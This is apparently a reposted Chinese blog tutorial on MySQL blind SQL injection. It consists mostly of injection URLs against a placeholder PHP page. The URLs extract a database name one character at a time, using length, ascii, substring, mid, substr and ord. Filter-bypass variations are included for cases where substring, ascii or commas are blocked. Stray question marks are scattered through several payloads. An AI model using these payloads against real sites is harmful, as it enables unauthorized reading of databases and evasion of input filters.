盲注 绕过技巧
http://www.x.com/sections_intr.php?id=181 and length((database()))=4
http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),1,1))=122 ??
http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),2,1))=122?
http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),3,1))=102?
http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),4,1))=121?
substring過濾的時候替換成mid
http://www.x.com/sections_intr.php?id=181 and ?ascii(mid(database(),1,1)) =122
substring過濾的時候替換成substr ??substr() ?Mid()等價于 substring() 函數
http://www.x.com/sections_intr.php?id=181 and ?ascii(substr(database(),1,1)) =122
當然還可以使用?substring mid ?left right ?substr REGEXP?
盲注簡單的來說 就是一個字符 一個字符一個字符匹配
ascii過濾的時候替換成ord
http://www.x.com/sections_intr.php?id=181 and ?ord(mid(database(),1,1))=122
繞過不能使用使用逗號的情況
ascii(mid(user(),1,1))=150
繞過的方法是使用from x for y。語法類似:
mid(user() from 1 for 1)
或
substr(user() from 1 for 1)
以上同樣是從第一個字符開始,取一位字符。
那么,不帶逗號注入的語法,就可以變成:
mysql> select ascii(substr(user() from 1 for 1)) < 150;
122=z ?102=f ?121=y
庫名:zzfy
ascii碼表 http://app.baidu.com/app/enter?appid=218548
轉載于:https://blog.51cto.com/0x007/1599005
總結
- 上一篇: 改善EF代码的方法(下)
- 下一篇: CentOS7 下DNS的搭建